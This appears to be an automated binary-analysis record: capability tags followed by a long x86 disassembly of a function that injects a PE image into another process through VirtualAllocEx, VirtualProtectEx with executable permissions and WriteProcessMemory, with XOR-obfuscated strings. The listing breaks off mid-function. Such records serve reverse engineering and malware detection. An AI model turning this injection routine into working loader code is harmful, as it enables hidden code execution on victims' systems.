Function at 0x461f90
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Encode data using xor
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x479029
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x8c8
mov eax, dword [0x4902d4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x820], esi
mov edi, ecx
mov dword [ebp - 0x8cc], edi
mov eax, 0x5a4d
cmp word [esi], ax
je 0x46227c
mov eax, dword [str.PV6]
movq xmm0, qword [0x4859c8]
mov dword [ebp - 0x8b8], eax
mov ax, word [0x4859d4]
movq qword [ebp - 0x8c0], xmm0
mov word [ebp - 0x8b4], ax
test ah, ah
je 0x46218d
xor edx, edx
cmp dword [0x4931b8], 2
mov dword [ebp - 0x880], edx
jl 0x462150
movaps xmm2, xmmword [0x4860d0]
mov eax, 5
movaps xmm3, xmmword [0x486540]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm4, eax
psrad xmm1, xmm4
mov eax, 0x1f
mov dword [ebp - 0x880], edx
movaps xmm0, xmm1
movd xmm5, eax
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x486110]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4860e0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
movd xmm0, dword [0x4859c8]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x4861e0]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x8c0], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movaps xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x486110]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
movd xmm0, dword [ebp - 0x8bc]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x4861e0]
pxor xmm1, xmm0
movd dword [ebp - 0x8bc], xmm1
nop dword [eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x880]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x880]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x8c0], cl
inc edx
mov dword [ebp - 0x880], edx
cmp edx, 0xe
jl 0x462150
lea eax, [ebp - 0x8c0]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
xorps xmm0, xmm0
mov dword [ebp - 0x888], 0
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x884], 0
add esp, 8
lea edx, [ecx + 1]
movups xmmword [ebp - 0x898], xmm0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4621d0
sub ecx, edx
lea eax, [ebp - 0x418]
push ecx
push eax
lea ecx, [ebp - 0x898]
call fcn.00437fe0
mov dword [ebp - 4], 0
mov eax, dword [0x490330]
cmp eax, dword [0x490334]
je 0x46222c
movups xmm0, xmmword [ebp - 0x898]
mov ecx, 0xf
mov byte [ebp - 0x898], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x888]
movq qword [eax + 0x10], xmm0
add dword [0x490330], 0x18
jmp 0x462244
lea ecx, [ebp - 0x898]
push ecx
push eax
mov ecx, 0x49032c
call fcn.00461e70
mov ecx, dword [ebp - 0x884]
cmp ecx, 0x10
jb 0x466419
mov edx, dword [ebp - 0x898]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4628e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4628e0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov eax, dword [esi + 0x3c]
mov ecx, 0x14c
add eax, esi
mov dword [ebp - 0x8c8], eax
cmp word [eax + 4], cx
je 0x4624d8
movups xmm0, xmmword [0x485a40]
mov ax, word [0x485a50]
mov word [ebp - 0x884], ax
movups xmmword [ebp - 0x894], xmm0
test ah, ah
je 0x46246d
xor edx, edx
cmp dword [0x4931b8], 2
mov dword [ebp - 0x880], edx
jl 0x462430
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x894]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x894], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x890]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x890], xmm1
add edx, 8
cmp edx, 0x10
jl 0x462310
mov dword [ebp - 0x880], edx
cmp edx, 0x12
jge 0x46246d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x880]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x880]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x894], cl
inc edx
mov dword [ebp - 0x880], edx
cmp edx, 0x12
jl 0x462430
lea eax, [ebp - 0x894]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
xorps xmm0, xmm0
mov dword [ebp - 0x888], 0
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x884], 0
add esp, 8
lea edx, [ecx + 1]
movups xmmword [ebp - 0x898], xmm0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4624b0
sub ecx, edx
lea eax, [ebp - 0x418]
push ecx
push eax
lea ecx, [ebp - 0x898]
call fcn.00437fe0
mov dword [ebp - 4], 1
jmp 0x4621f3
movq xmm0, qword [0x485798]
xor edx, edx
mov al, byte [0x4857a0]
movq qword [ebp - 0x8bc], xmm0
mov byte [ebp - 0x8b4], al
mov dword [ebp - 0x87c], edx
nop dword [eax + eax]
mov eax, 0x1f7047dd
mul edx
mov eax, dword [ebp - 0x87c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x87c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x8bc], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 9
jl 0x462500
lea eax, [ebp - 0x8bc]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
xorps xmm0, xmm0
mov dword [ebp - 0x888], 0
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x884], 0
add esp, 8
lea edx, [ecx + 1]
movups xmmword [ebp - 0x898], xmm0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462580
sub ecx, edx
lea eax, [ebp - 0x418]
push ecx
push eax
lea ecx, [ebp - 0x898]
call fcn.00437fe0
mov dword [ebp - 4], 2
mov eax, dword [0x490330]
cmp eax, dword [0x490334]
je 0x4625dc
movups xmm0, xmmword [ebp - 0x898]
mov ecx, 0xf
mov byte [ebp - 0x898], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x888]
movq qword [eax + 0x10], xmm0
add dword [0x490330], 0x18
jmp 0x4625f4
lea ecx, [ebp - 0x898]
push ecx
push eax
mov ecx, 0x49032c
call fcn.00461e70
mov ecx, dword [ebp - 0x884]
mov dword [ebp - 4], 0xffffffff
cmp ecx, 0x10
jb 0x462631
mov edx, dword [ebp - 0x898]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462627
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x462627
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0047421c
add esp, 8
mov eax, dword [ebp - 0x8c8]
push 4
push 0x3000
push dword [eax + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov dword [ebp - 0x8c4], ecx
test ecx, ecx
jne 0x4628ef
call dword [sym.imp.KERNEL32.dll_GetLastError]
movups xmm0, xmmword [0x48582c]
mov cx, word [0x48585c]
xor edx, edx
cmp dword [0x4931b8], 2
mov esi, eax
movups xmmword [ebp - 0x85c], xmm0
mov word [ebp - 0x82c], cx
movups xmm0, xmmword [0x48583c]
mov cl, byte [0x48585e]
mov byte [ebp - 0x82a], cl
movups xmmword [ebp - 0x84c], xmm0
mov dword [ebp - 0x880], edx
movups xmm0, xmmword [0x48584c]
movups xmmword [ebp - 0x83c], xmm0
jl 0x462820
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x85c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x85c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x858]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x858], xmm1
add edx, 8
cmp edx, 0x30
jl 0x462700
mov dword [ebp - 0x880], edx
cmp edx, 0x33
jge 0x46285d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x880]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x880]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x85c], cl
inc edx
mov dword [ebp - 0x880], edx
cmp edx, 0x33
jl 0x462820
push esi
lea eax, [ebp - 0x85c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
xorps xmm0, xmm0
mov dword [ebp - 0x888], 0
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x884], 0
add esp, 0xc
lea edx, [ecx + 1]
movups xmmword [ebp - 0x898], xmm0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4628a0
sub ecx, edx
lea eax, [ebp - 0x418]
push ecx
push eax
lea ecx, [ebp - 0x898]
call fcn.00437fe0
mov dword [ebp - 4], 3
mov eax, dword [0x490330]
cmp eax, dword [0x490334]
jne 0x462200
lea edx, [ebp - 0x898]
push edx
jmp 0x462233
push ecx
push edx
call fcn.0047421c
add esp, 8
jmp 0x466419
lea eax, [ebp - 0x824]
mov dword [ebp - 0x824], 0
push eax
mov eax, dword [ebp - 0x8c8]
push 0x40
push dword [eax + 0x50]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x1000
mov dword [ebp - 0x878], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x8c4]
push eax
push edi
mov dword [ebp - 0x86c], 0
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x868], 1
mov dword [ebp - 0x864], 0
mov dword [ebp - 0x860], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x462c09
call dword [sym.imp.KERNEL32.dll_GetLastError]
movups xmm0, xmmword [0x485970]
mov ecx, dword [0x485988]
mov esi, eax
mov dword [ebp - 0x830], ecx
mov cx, word [0x48598c]
mov word [ebp - 0x82c], cx
movups xmmword [ebp - 0x848], xmm0
movq xmm0, qword [0x485980]
movq qword [ebp - 0x838], xmm0
test ch, ch
je 0x462b6d
xor edx, edx
cmp dword [0x4931b8], 2
mov dword [ebp - 0x880], edx
jl 0x462b30
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x848]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x848], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x844]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x844], xmm1
add edx, 8
cmp edx, 0x18
jl 0x462a10
mov dword [ebp - 0x880], edx
cmp edx, 0x1e
jge 0x462b6d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x880]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x880]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x848], cl
inc edx
mov dword [ebp - 0x880], edx
cmp edx, 0x1e
jl 0x462b30
push esi
lea eax, [ebp - 0x848]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 0xc
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
mov dword [ebp - 4], 4
mov ecx, dword [0x490330]
cmp ecx, dword [0x490334]
je 0x462bd3
call fcn.00437fd0
lea eax, [ebp - 0x898]
mov dword [ecx + 0x10], 0
push eax
mov dword [ecx + 0x14], 0
call fcn.00446760
add dword [0x490330], 0x18
jmp 0x462be5
lea eax, [ebp - 0x898]
push eax
push ecx
mov ecx, 0x49032c
call fcn.00461e70
lea ecx, [ebp - 0x898]
call fcn.00444c10
push 0x8000
push 0
push dword [ebp - 0x8c4]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x466419
mov eax, dword [ebp - 0x8c8]
xor edi, edi
movzx esi, word [eax + 0x14]
add esi, 0x2c
cmp word [eax + 6], di
je 0x462c63
add esi, eax
mov eax, dword [esi - 4]
test eax, eax
je 0x462c51
push 0
push eax
mov eax, dword [esi]
add eax, dword [ebp - 0x820]
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x8c4]
push eax
push dword [ebp - 0x8cc]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x462f23
mov eax, dword [ebp - 0x8c8]
inc edi
add esi, 0x28
movzx eax, word [eax + 6]
cmp edi, eax
jne 0x462c20
mov edi, dword [ebp - 0x8cc]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x3000
push 0x1c
push 0
push edi
call esi
mov dword [ebp - 0x8d0], eax
test eax, eax
jne 0x463258
call dword [sym.imp.KERNEL32.dll_GetLastError]
movups xmm0, xmmword [str.dP_TQA]
mov ecx, dword [0x485a84]
xor edx, edx
cmp dword [0x4931b8], 2
mov esi, eax
movups xmmword [ebp - 0x85c], xmm0
mov dword [ebp - 0x82c], ecx
movups xmm0, xmmword [0x485a64]
mov dword [ebp - 0x880], edx
movups xmmword [ebp - 0x84c], xmm0
movups xmm0, xmmword [0x485a74]
movups xmmword [ebp - 0x83c], xmm0
jl 0x462e40
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x85c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x85c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x858]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x858], xmm1
add edx, 8
cmp edx, 0x30
jl 0x462d20
mov dword [ebp - 0x880], edx
cmp edx, 0x34
jge 0x462e7d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x880]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x880]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x85c], cl
inc edx
mov dword [ebp - 0x880], edx
cmp edx, 0x34
jl 0x462e40
push esi
lea eax, [ebp - 0x85c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
xorps xmm0, xmm0
mov dword [ebp - 0x888], 0
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x884], 0
add esp, 0xc
lea edx, [ecx + 1]
movups xmmword [ebp - 0x898], xmm0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462ec0
sub ecx, edx
lea eax, [ebp - 0x418]
push ecx
push eax
lea ecx, [ebp - 0x898]
call fcn.00437fe0
mov dword [ebp - 4], 6
mov eax, dword [0x490330]
cmp eax, dword [0x490334]
je 0x463203
movups xmm0, xmmword [ebp - 0x898]
mov ecx, 0xf
mov byte [ebp - 0x898], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x888]
movq qword [eax + 0x10], xmm0
add dword [0x490330], 0x18
jmp 0x46321b
call dword [sym.imp.KERNEL32.dll_GetLastError]
movups xmm0, xmmword [0x4857b4]
mov cx, word [0x4857cc]
mov esi, eax
mov word [ebp - 0x884], cx
movups xmmword [ebp - 0x89c], xmm0
movq xmm0, qword [0x4857c4]
movq qword [ebp - 0x88c], xmm0
test ch, ch
je 0x46310d
xor edx, edx
cmp dword [0x4931b8], 2
mov dword [ebp - 0x880], edx
jl 0x4630d0
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x89c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x89c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x898]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x898], xmm1
add edx, 8
cmp edx, 0x18
jl 0x462fb0
mov dword [ebp - 0x880], edx
cmp edx, 0x1a
jge 0x46310d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x880]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x880]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x89c], cl
inc edx
mov dword [ebp - 0x880], edx
cmp edx, 0x1a
jl 0x4630d0
push esi
lea eax, [ebp - 0x89c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
xorps xmm0, xmm0
mov dword [ebp - 0x888], 0
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x884], 0
add esp, 0xc
lea edx, [ecx + 1]
movups xmmword [ebp - 0x898], xmm0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x463150
sub ecx, edx
lea eax, [ebp - 0x418]
push ecx
push eax
lea ecx, [ebp - 0x898]
call fcn.00437fe0
mov dword [ebp - 4], 5
mov eax, dword [0x490330]
cmp eax, dword [0x490334]
je 0x4631ac
movups xmm0, xmmword [ebp - 0x898]
mov ecx, 0xf
mov byte [ebp - 0x898], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x888]
movq qword [eax + 0x10], xmm0
add dword [0x490330], 0x18
jmp 0x4631c4
lea ecx, [ebp - 0x898]
push ecx
push eax
mov ecx, 0x49032c
call fcn.00461e70
mov ecx, dword [ebp - 0x884]
cmp ecx, 0x10
jb 0x4631f8
mov edx, dword [ebp - 0x898]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4631ee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462276
push ecx
push edx
call fcn.0047421c
add esp, 8
mov edi, dword [ebp - 0x8cc]
jmp 0x462bf0
lea ecx, [ebp - 0x898]
push ecx
push eax
mov ecx, 0x49032c
call fcn.00461e70
mov ecx, dword [ebp - 0x884]
cmp ecx, 0x10
jb 0x462bf0
mov edx, dword [ebp - 0x898]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x463249
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462276
push ecx
push edx
call fcn.0047421c
add esp, 8
jmp 0x462bf0
push 0
push 0x1c
lea ecx, [ebp - 0x878]
push ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x463573
call dword [sym.imp.KERNEL32.dll_GetLastError]
movups xmm0, xmmword [0x4858b8]
mov cx, word [0x4858d0]
mov esi, eax
mov word [ebp - 0x884], cx
movups xmmword [ebp - 0x89c], xmm0
movq xmm0, qword [0x4858c8]
movq qword [ebp - 0x88c], xmm0
test ch, ch
je 0x46345d
xor edx, edx
cmp dword [0x4931b8], 2
mov dword [ebp - 0x880], edx
jl 0x463420
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
